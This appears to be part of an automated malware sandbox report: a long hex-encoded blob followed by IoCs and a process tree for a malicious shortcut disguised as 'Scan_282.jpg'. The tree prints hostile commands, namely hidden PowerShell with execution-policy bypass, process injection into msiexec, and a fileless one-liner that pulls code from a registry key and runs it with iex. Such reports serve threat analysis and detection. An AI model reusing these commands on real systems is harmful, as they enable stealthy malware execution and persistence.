0b7c204e5727a2ab1ceb3a425842a962daac15517657aa72ebcb8324526d00ade1ca8ad0c7eb056c14b5267c0c83ce146fb2967dfbfd1bcd95b9c840d705079353e9c854cf1beb1d9e1d59261394174edada017486b012ecfc67ae102ebfb7c85f252e913c8814cb20148a8457eedf862286cfd934dfcf5887b8d027b27f21edcc18ef8f8e5b2fc15c545c2a274897da883a43072b0450b23e1d5af86dd7aff827e12d4dc94d9e2b8fa5197e7b52a11d8503862a4d807f603c008f1b472d675a60f249996e2a178901b74b1c39708e6e230258c38a7855231e4ee04392f609200a21bcc95db52b4602068596330eb40719fe50080c457ade120cbc91ea83040a6f8f1e7b800648dd1fdfc15841a64f6ba755c08869aafb4e0666cc9238a758ca3c285a85c54fad7421d0d87d128057b15bbf05754fbecdd82ad36e994219ec53f22890a9eff4b1b4129be7628706f5f7e716d086be70bce4941da3499af8786df36dc4955f844d5619b23c3146454db2ead1ddd473355457ea4ee0d763c198784efe889fab278059900d39251399a5f25d43ea3c634918de79233c972e13e9286d0fe17e80d9541039c707094de486fb99b0e53445765ad31c044b5959c4495b5dbafbbfbd00c0460c71c99cf0759984e03b1f3e22483d05e8041f73f870e4f67b819f0c1626c05e6844dbc6feeedbd6ee9776bce1e2b6cb6606cdf8c8d3913aca1822cf79cad3f951305b085cefdb2f9b3fc8ddc1359e3757af496e02118c7272b128ca903fc7f186dd055e5f30ac4262390e2f18d26ebb33f88bb93286c17d607d972113809e1392a3637c462e26b45ddcbd6168ced0587c21d621f430aac7e7ab1ecb1051a3b8cee21bcddf287ceee1e5c1ec2be3c7ba1571236ff30d461fad8f06d3c2e00595ab20061c33fad3508ea87d462625f75c5b61975bb1c33564871a97d576178ae03067542ef168f39d7c20347819c286a8caee11d4c6c867cebcd3e19f33d3bd2651f94b5ac14fdd8d26d4105de4580955c6cf12432f877612023fdc1e5f74c570831678224f8fb491e2727c98e8c5bb85cca65b0b164a7a8d32e6cc91b4896d4c81d17f7ca310f57069be1b5557c600ce89215925c3e85e1c16718c72a2fc34206672319d399e41052ca3b72f007b66e1816d9813447c9a261c675c431b452ad24a2a8004e0a8c3f32f745a4f96ccde9e19f3e8dce48b36f28c3a53ff90752bf5e07ec8ae5650fd7c5d9db35621e681836eacb462722f334c8fc800754033e916ac56e7318cb42afb38db8d24873bcc452c4962dbc71b013508b5ab5a7a45e7e85279a25d3f84cb9320d9feb4e9e0082c0e4084037b458376d2325e9bfdfc84f26df17b592cf16c1916a7510e6d6677913a274fd0db3492c4b16d6c015fdf129de0867631158ef8cc15f7ff3ae2e1d7f81b2a10cd3726234c692c0c63d95f81d3f87ae4dbe166e386886d0fecff0446d2a315bd01e11b129d6c13969834e5ed33ec25eeb74f276c8e82735fe06eb010abb31a534f685d64cf1676f055f8cb66e187cb1270b24e97e55ed6f476dc347e8b8fe49287ea64c7e501bb4448a3d27b8ab09bd6194db5f369b7cbdbc9e75c67162da95259aad95891e128345718e3bca4be7a3666edfeb69ae6257d7855d748b98941a998831629ff9ddedab64e8b6bfa9ed499ef907e3505d649335a4edc2cfbbe76db8147f1a3a926c110f30e1011fe988d40ea079110e007b491fe4d823307b3d8ad438e5bfef844d53d35240457c07837f1639e56002fed1e187ee49be05ff25beeb3b21cd63a60a5abec354a818c83211bfbdc08f91d10936c508eef7a40a868b6ad8381807dcbc66c902335c785b0353c6ea2deebc6976fc0e4f256d390b428f321f6deab6cf5c81b7cccbd9a261c4e3e20f20a47ff242436d7bbd6c9b5f193e1af8b28a392086a6ef173bd32d7eb9ea879c40f2b087096a7e003407b60b937b2c68a22eac9e13d74242fe19566dac3d13194bd17f577796f517ba828331826b1fbb237895686dc6282aa1f1d80ddf2ebd75be91232bfc7a21d4ac4266004c36202f63cd1771dbd1c87e16bd437f65557db9bd21b68800280ce8f02ded2f81d0e6a7c809072db860cbab4f56ab8ec9b6a3b0899158c742574b1c4029cba0fd1a3067c126bd4cd47fb3525a204bfce6293aee0c6d338d7600108773eca1572e8274de03e223c4493bf6456d446a52fec045ffacafdad5e6990b78dc414b1866a4c8e0ce2a3782f235ce312e56e8c6d125696a07da954e5b8c744410bcc123b0ea04adfb835004743eb85a24d4a80cb6a6c8e0b269f88e46204a20266917b02a1ace99d8461da85a413ec98588c6c6bc6c64c9452e19af0606d9a75826597d4674c213c097e8d3342692fe8f72122b35b5e34b631f0c88e048d44dd60dbbbe2cd9d5dbd5f87a3cf84cf5d45a035dead05dbf1672c1d7ab60c5d0aa54703adb628391b519b44cdb513bc385f649a135b4ecb1142a7a8c220895e772c556f2d48dec7dd35ed3a7f4eb21ec576e44882a9736151cc93fc9af1a13ce52548e5543bf751a4214b10163eee45a94e98850bb4ce410ba04bc1db28e57f8461d837b7d9b9d3f94703f9f297e1ccd1268c116162717a6351e307aaf58c002dc944b4725acd362ea4a5f8d760e274a9a6f8f552f954a1932b14ca915630e24dfb8b076ba91e349c03304ea4fcf86c368cff5fc987d01de0f83fc7c4eb6cc459112cabe163047ed94cd0fc35d1958f9b2a06fafb5e865d2ff0820dafbbb1d911baf861ff903772fc0b1df346d6fdf6d77729a4e95974ab99dcb49503b573659e511b20466ac30127a84fea628ceb3da04adee4291a32cce0b7bf8702f782059b29e0d30e0765ab22de40e1ded26e35e5be1985c15e990bcff19e936fb30260a3ac12bce87184e34dfe6faa917f29d50c7094844d8078d59498f3f765df8c686df386f9266477e97c65483ab3743b8bc042b07996c4f3571c7280cdb6ea7706640e4e96ccfb84d40ebbd0db6a2cf0534cc623e9c7ecc15bf9608c7867b1b8f1c0598e1a21124e0d1291186b0547760076e3ca76bccd7bb51cc8a66ee30ecc5e76f17a44a340df5adc7e416fb2adc5f471b591bdbba24168ea78966772b0f19221f549526980a2324e512f5b11a7774ea2851572319b3a6728908e9cc48a0e2a00907492220b8133b63eea15f620a7615b2657503e3ef2d657dce1124208ef4d0077448b8118befee3feb556ba6decd341460144b483830e4bae34f7ff14cb3f613404a6aad690b4d446f0257820166b0fa5b4911a2854efa12615c85749e19da94799f5fddce37f09f5b07e43c81add8a8c4c81b0ee92cc8ed2ac066a7b283b6b330d20167986ff75fc590245bd6d9054aefb7be42d0dbce5e2d88acf423445d7e0b66816976c6fe98bbc3086d3fddcbb5d472b24c870df5004b15c3f7581f68b725e0e36e38bdd43390e7cdb0f6dee4ce2f667654438401e4929f44047a12664469639a8e6738b3d970924df6b060baef17e017b14f633147e4babb173441aa0375297c2aaa908e3d9140b636b20df2117455d03709f1655617465e85b29d26645335abf0c4eca76652ddafb4f038babda1733b149b11d7f8f0d4938d2efc56436abfd52a1977be99098c7333ea44da9c2f05151a28c8607e0aa4f6fad86ef4377c6ddb437698bfb486d94daba9fe0503f11fa100b27212951519cfb19f6bc5ec03df196652f71a0f0c065692eabb616fbda0abfcb8f69bb12d5c52d3301a1899769149248f8bd204f235ce5dd9d4a317644a44f843a1fd1bc0888dd3c52f4bbdf73dc83425b73851073a9e3724672f3e6e4292d8a34c2d660b957468f1d4fbe622ca0f0ae52024cea4080892c8457fd6df6e2260dbd35a3fb8684427b53e12d224714588239c60f3555db65dc9e0b2a7149774f7f3f501a50cfd37c668b5fa0a42b8fe26986eabf28d571a1bb84f0f21550c4424802ca5b210e9e44a513000992bb33f635a64bd8763730edb7f67b0f39adbf0d871fd1accb80cf7daa7172d8f768b0acb34ad82afa05f890af9fa5e4722a1099eb5615b6e66d423eef4c518f4bb104f78a634b7964f386bddddb932afb10a912f38a1e3ed9e38c3a128304486816b7293c75fd51fec9ebe3aa61de6de41c99e96ebdba47f361ac02ee4339d6035314983922fcf5e3710f31fdcb3a757013405b5aa8c4663f41a81473f4b705a9e8cb7c236b05cd02c976bbcd68d69a346c5acaf2134711fe50fd11cadbb209da489827e07ac257a09b4cc1f74c8c3b04cd0c57371ef8dea06df8e9d31c609aa76ded35598746734558de36755a384f9400f20f3c96dd653d8794e3ad46b5e0c3bbf9c48827cad3641d830b5d4be2f5c8c576b690de77f8bae9ce0e74c56e2229ece77d8a5bedefc6daf59af4a8047840fc19b5f98539f76089c733fb2eedaad60a570d907c60e067ebe5cf35cc78a13d63f2745a2d2930361bb3390020ba9805ca1cd679d5a654f96e58a06209735988ddb1a37de9eb126a22c2661faa7b6cba18f61e1482d49743ee1f2128c3ff0ce046434f02f9263ef82be83c5dc01f4aa709ee1a16252c20c7db3f584d43d5cdcf0d775a4889645ddbeadee35b6221a1d3319b6532dba05ee097d82d1ae53bd911d0a712f67659db15a4357ddabfe28fb6c2c54ba59a5b8808313910bb5c925a27b5a314fb8fbfa9f8ed133492fbdf07ed6b694afc4ccb19e81c1cc0d6f22544a82b6d78560810f42c301fe46cfde594ecad01a8672dd3cf86f3e97d54117c5e5e5c590a58b9ecfd942ab75f04468bcdbf29bca0bf38f662d8ffda2f4757cfacc9ef9b09e03a06cb0f8b1d051753dcba12a62a6341c101f50e89804e58fca40fb4b18e464b479023d911428f0c7f1ccb38479e3c2afe180059114587f379491582cebdea23dea17f8ed33aa48914bf465237e78bc50e3c20b477af0175c7c47cad2274a4a8cf5460043c38c37264d50df9795bef5cf8f11fbf8eda5e251428a73b3bbd00bb0ba93baaa13c89673bc10975137f9a83af130266b738c75ff3bbad8804da547fe5840325eb963782db505390e89c5534a0f9944e305a5412f700cf9827ef7077aeb03a016ca0ecb41d16f9372021fb1be00712c3eadb424ddd0cbbda35688de0b0a4806c2978dafe891c992037045ff632f4dd91de062339e963a9c49de54bb26779a94b3f6bef4bf28f17a0e98430971158fb874037034a4dcc943b98ccbca975b5b5036adf96cd699925e7c695c7d947fd809472270101203c2150f5808797dbd7604cba28513c0cbb085a12cc2498f2f4b94aa7d07bbd12cd4eaad97b878db99795124ed04de5d7d622b868223ac7a28224ccf5d08a92d764e6efcdb023488a41cf2a850135132096a41e47a31dc22ca9e23ab1a6df788c496c6fb5fc5a067096f9bb30f576eeeb328f491876bde76198cc7bf09041f4d89a4a37962e96b3675e183c2ac00a0692065b01cfcaaaf8821f0310ae3bbc1572b4e2ec001da6d2bfefb027a2e33eb4d2cc9c6af9e43c113bb1505b37858972cc5ec33694c0f2074b538410f7c01c4178051f1ac66bae3fedc2686779702ecaa973cbe2cf994ab75eb895e032206b73ff065f0f83be489ef8834e8aaa1970237f797feaf19cc2dd3a62213e767bda6da0e5e8480a870b12ee459e76c88ddf3ce000c55ea1df9e55f37927603b5e77051f0260d82e3316936e754c1648aa9d08cf757a4f28bf85ef2c4bf5a797b96c69bb2bcca6a2800380c78200e9e1eec9fc9dfea1173da7a94d3edb51228530cc4ddd7b4c0e2e3c06c154c2bda0ae39d8f1a7e5cdc664f9bd9f96c0dc59e5b436bb2c839f81b7e43ab764e692fcb630370900198d164778c67840b8fd946d43c54a388045b6a4bde27fa2adf21f6fdad359ebb0020c5531d421867352e10628ada388a07e72ff30f811b65e20572d52986524d94830bc371a8dc99bca96eb15f38edb8dbc6e31b9d9a27615c63f110190a74533d60755c2707aee1249ef3e6dac6cbaf61cacf1008e848c49c0927aa5326fd93a31d143293b0c6ee9a074c7ba895e9ac6562cbf5d008222f0346b2ec1e21f59a279bf0b46832c93b4480da650c0bb53bc09d1b3ad1b7521f133125d61aa46ba08cddc35a4d565a637abad89919f2ef8a6ee3dd367f43a72712cc4ff1705fe0fa4c509a42f2de3f4c206ec46d7125b8de536fd0cbcddcb9e2f7e6fdf1a75fb4e42c286847e7af164a90c5aee45a47eb818859378977fc75f524fff2209540eb84748cb78516ecbecb9145478e8b6e26d92fe63b50e91ea98cfbcec6a21695afd7aef969fcd7710832937b63c07ff5361b8747f05134c3b072f45fb2287992ae2782abd5a920e8993d03feae32901415e24359d51e3f8a0ff1cf07849305a5bf15df8fec9b1841e93f11f6f826f0094dd9f5fa2beeedeffbf19a38c598a570e22cd08b312893cddea7eaba017d82d996a68d7e94fd51c521164e2ade7332b48337d246cedaa1811ee1b99cca52a9c30dad678d624aca5f35e56c6ba87045844275580aff2c4ae91ef9981a1bdeb64e620cfffba2e5d5b14f61cd0b1c13a21a25ee14dde6a10cf3bede127d52f851075f8456fb18dac9a388b174f2b99a25c32feeea045f2d46fb82d542901eb417deb88cde51284281f1603b2e83c51081e040d6c8ec566e9aa0f073f5785cc0bb168040dfb271d1a137f768a5ae401507bb51a93b5467c682aec8dd92d124c3b90c8d3791bd1374253963c59a05d510452317f8eeed74536bcbcfabf6ce23fe5527cb51179932cd2e361dc5227a6f7637ccaf733018785d773e668c0e3f7fd374b4dc80637f1251b1f4b0c60aa6e418e7bdd67782e762ea16104943eb74556e2db6ae412389fa447287912c9d5e598d8836d2bcabc24f0b9a7805abd2329e1bc9b8722f7864f2e3fcbcdeb1a51536ddac4860967247501d20a717dedfae37703ad56ee0d3b1e055c7843892ed3d9e9cca14255f070ccad34810813f7301a3cd2fb56b33fb536721e8fb35eb5c503502bda4596e33537233665aea53ff4369ee1a0c1e9c749f046ab3a360f448415ef40bb40f42c3a55824a3020f7ea2608585d8674ac9897bb22a96f52136f964647606adb44126f419aae4c712fcf64efd43ace2d6b56485455589a2e718f901e50f8a9c7754134ae7462722f50002b6a177238aee59759ff8e27ce88cb22738fe698b96ad6b97f81bb9c5d46d830b50ca780fb229e4874bea92a4feee3a25f1fdb9617ea853ef0f66a1cedc3f2d751e73391efd4e88f45419dbb80fd8e29be90672e02f970547fa4aae685fe626ce97b792d42ef37e5e9576ad8e17ca360948f05186c4bc8bf71457091a3e05490de2f8a3012c592a6f6bd8bd2ae3eff54ccb2bf98be492b6d08fc61db2f55ac4c383981e34bd03a15be4f349af3841e365fe198722177a5481b0a0340b2fb20e5d80ad22e454b565ecaada809c16659966f143151c417bdbc83b3fa2f53ac5d856f4e720563ef806cb83a423981072766ed9eb8cd29d9d64870f803fb0c3ac4785851cdcdd86d81c8979082a56a312bbad3cd1c652c8abc65fe4201d7061749566cd9b81f4101dc6dc89a4dcbb445ab4c8f9e88995c22527323711a0efd495e162edd46c22e56ee878f46c5c90b112a30e42c0ec022508fcbd004220e83ad8f8dd2674cbd18dbcaadad26f5947cfbc2bc1705a8af54c2e2dd7bb7c436e433a43875deb0d2f57a39bf92393a7a86c1fbd31aed6cc91e2911c815d08e3bbd30c3c7ed1cc97fd23299bfb56f0e32a96222dd09fca78584092294d2ab470c1380d041bc2af965b54c4fc2ea5421a9d42fb09e64a978ca4f62e4758e82d75e07a2a8bed8c35409ee2a7891533ca203327e3709919576c1aa028afc65fe7635d613b920e2c621e650e751fa7e2f93813ca1a2f3eb40b5dbf51069c29a6b06117ea02f302bc31501ccdd88f86055d02db907295e122bbe215475c7b622a56982205cc9a2ac888f40be75809a592593c27e113fed546db70beb8254d27354f1482af92ad4525148198594ec7c97508cc66282a679db3b2f87c96a6deea9bca5036e67006263c47e04b9f9aded35a848fec95488b4466a4f69aee59de40ad612d8150b54b0d410639111145ebd2bfdff97a8f999c3c20f06abff7a82121aeb804f95eccdef88fa0b7c6e5ce2c46b70e93b56b9713c3cccae4c986bd3c761d7daeaf1690457398ab146c7ca8d8d8bd7b344f79eafcc6c0d3ffe6b381adc1c08a7a3134d7e7ebeeea98b267c221714a87dbad8bd4abf2120f36d1a02ae44ba5d77f556197aaf1180065f15b86eb80e3a31da6b479744e37daa662ff53587e6a81c390f9fb3c7213915060822036279a3607d07ea4c334dc6d72326034d513899a6ed2f9742f47f50c79a1b4acf70d487c60b4650a27842c731132c275c30fcf56707092f3963769dea5df1664a2e68564303972b04434444ecbb2063d8bf1847273300fd8042b5b0a987be8f0e0c22ac49884b869ff5cc9f3c83657065f1efbca3802888a88a52ef0091a15b75b2b6ea5f363581486205b3da491b13da86c0f05a61827d94685be076f2d1c356df59732df96936772e63e9526c43933e13c09c8a1ce4dbec8297cf5f28d003e3b06545e316afe203d29612bc3a03a3bf7b56cd38868004dae56160d942c20c249d15db5c2b1531909cb000c408ca6e5a6a2fb38e7b3e6213b19989a75a86c606e79f738c5c1227632a9059cde1dce6951fb4584f7235072ee69be2313a192795c5aa4d8414f7e94aef407c6feb1f2ece2096ec8d50f8999087891fee2a5e81394c7e6ab1879e025597eeec19b5122857db6b5b333b84dc42f4ecdf27b2ef81284054b92343cc555fb66ed60e8ef934cab73bd3754fe51bb815b1e5d33173a6744adbf46803fb0aaccf273a07fdb085b57d81c869fa7c3e01dd1ad8e3a273d56431c1f5908f63c182f8f1a24c202709e75b5b620f4bc1135ba468cf1ebce2d9bfc05dc19cd27d78c01f6a7b961f104963fd011a16a4881fbe9963bc2495d4cedc0f94cd47675a34c91761bc46234bf77e5deb394d8c01a838ee1e4bbae948fe3f570ea5f5056112323ffcb7af6bfa66142ff76c98bab0dde7c7a314603de7e64b8539f35bceb5b16d2f19e66ba0629712e064d6bb2932723c474dc656773916f925da24efa1cc0c69bb764f386fd4f5b625d9f55510bd2a6bd84adc082c719d29e4ee72a286b16ee7480ebc44d6de51e6e965660b81f3ed9097a31f03bfc5aa976fdeac9718265776dd2483828f2e50e6a0f965cd54ccfb407236e36f7ce2e37006d84aa2973a8a0c1772dfa9d0d0989e409d01fbc23237998fcf1ab6918dfe4eb42daf693f60676bebc61448c839dedb44625a92f763d90378462c424b8f117ffd996294be4ed05be79336beda1599713e0563c37ed7149187030c229353052ed81c54c06f2fb33318536c6e665546c34363f5a0f60db60579357f83a7b14a69aa6aa3bf3e60e64e0c0bb7802074341b1e62a5420c103845366122f5ecfdc41f1143f5abd09c816bb68f1d8bfebe8c60914edcb90f645f248b60b3b0c92c77a0a7dd0b57e49f0516012b5854dfba9aa8fe4ad24e4bd8e0500600b9dab9d8dd1001e5 powershell.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 932 powershell.exe 932 powershell.exe 932 powershell.exe 932 powershell.exe 956 msiexec.exe 956 msiexec.exe 2976 powershell.exe 2976 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 932 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 932 powershell.exe Token: SeDebugPrivilege 2976 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1496 wrote to memory of 932 1496 cmd.exe 80 PID 1496 wrote to memory of 932 1496 cmd.exe 80 PID 932 wrote to memory of 956 932 powershell.exe 88 PID 932 wrote to memory of 956 932 powershell.exe 88 PID 956 wrote to memory of 2976 956 msiexec.exe 89 PID 956 wrote to memory of 2976 956 msiexec.exe 89
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Scan_282.jpg.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1496 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -w h -file 1728.ps12⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:932 -
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe3⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:956 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{$v1='2232';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2976
-
-
-